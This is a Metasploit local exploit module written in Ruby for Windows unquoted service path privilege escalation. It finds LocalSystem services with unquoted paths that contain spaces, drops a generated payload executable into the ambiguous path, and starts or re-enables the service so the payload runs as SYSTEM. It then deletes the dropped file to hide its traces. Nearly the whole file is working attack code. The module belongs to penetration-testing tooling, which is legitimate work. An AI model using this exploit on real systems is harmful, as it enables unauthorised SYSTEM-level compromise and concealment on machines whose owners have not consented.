##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Windows::Services

  def initialize(info={})
    super( update_info( info,
      'Name'           => 'Windows Service Trusted Path Privilege Escalation',
      'Description'    => %q{
        This module exploits a logic flaw due to how the lpApplicationName parameter
        is handled.  When the lpApplicationName contains a space, the file name is
        ambiguous.  Take this file path as example: C:\program files\hello.exe;
        The Windows API will try to interpret this as two possible paths:
        C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
        To some software developers, this is an unexpected behavior, which becomes a
        security problem if an attacker is able to place a malicious executable in one
        of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
        Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the
        same problem.

        The offensive technique is also described in Writing Secure Code (2nd Edition),
        Chapter 23, in the section "Calling Processes Security" on page 676.
      },
      'References'     =>
        [
          ['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'],
          ['URL', 'http://www.microsoft.com/learning/en/us/book.aspx?id=5957&locale=en-us']  #pg 676
        ],
      'DisclosureDate' => "Oct 25 2001",
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r'
        ],
      'Platform'       => [ 'win'],
      'Targets'        => [ ['Windows', {}] ],
      'SessionTypes'   => [ "shell", "meterpreter" ],
      'DefaultTarget'  => 0,
      # Migrate away, in case the service dies (can kill access)
      'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }
    ))
  end


  def check
    if enum_vuln_services.empty?
      return Exploit::CheckCode::Safe
    else
      # Found service is running system
      return Exploit::CheckCode::Vulnerable
    end
  end


  def enum_vuln_services(quick=false)
    vuln_services = []

    service_list.each do |name|
      info = service_info(name)

      # Sometimes there's a null byte at the end of the string,
      # and that can break the regex -- annoying.
      cmd = info['Command'].strip

      # Check path:
      # - Filter out paths that begin with a quote
      # - Filter out paths that don't have a space
      next if cmd !~ /^[a-z]\:.+\.exe$/i
      next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)

      # Filter out services that aren't launched as SYSTEM
      next if info['Credentials'] !~ /LocalSystem/

      vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})")
      vuln_services << [name, cmd]

      # This process can be pretty damn slow.
      # Allow the user to just find one, and get the hell out.
      break if not vuln_services.empty? and quick
    end

    return vuln_services
  end


  def exploit
    #
    # Exploit the first service found
    #
    print_status("Finding a vulnerable service...")
    svrs = enum_vuln_services(true)
    if svrs.empty?
      print_error("No service found with trusted path issues")
      return
    end

    svr_name = svrs.first[0]
    fpath    = svrs.first[1]
    exe_path = "#{fpath.split(' ')[0]}.exe"
    print_status("Placing #{exe_path} as #{svr_name}")


    #
    # Drop the malicious executable into the path
    #
    exe = generate_payload_exe
    print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
    begin
      write_file(exe_path, exe)
    rescue Rex::Post::Meterpreter::RequestError => e
      # Can't write the file, can't go on
      print_error(e.message)
      return
    end


    #
    # Run the service, let the Windows API do the rest
    #
    print_status("Launching service #{svr_name}...")
    tried = false
    begin
      status = service_start(svr_name)
      raise RuntimeError, status if status != 0
    rescue RuntimeError => s
      if tried
        print_error("Unable to start #{svr_name}")
        return
      else
        tried = true
      end

      case s.message.to_i
      when 1
        # Service already started, restart again
        service_stop(svr_name)
        retry
      when 2
        # Service disabled, enable it
        service_change_startup(svr_name, 'manual')
        retry
      end
    end


    #
    # "Nothing ever happened, we swears it on the Precious!"
    #
    print_status("Deleting #{exe_path}")
    begin
      cmd_exec("cmd /c del \"#{exe_path}\"")
    rescue ::Exception => e
      print_error("Unable to remove #{exe_path}: #{e.message}")
    end
  end

end
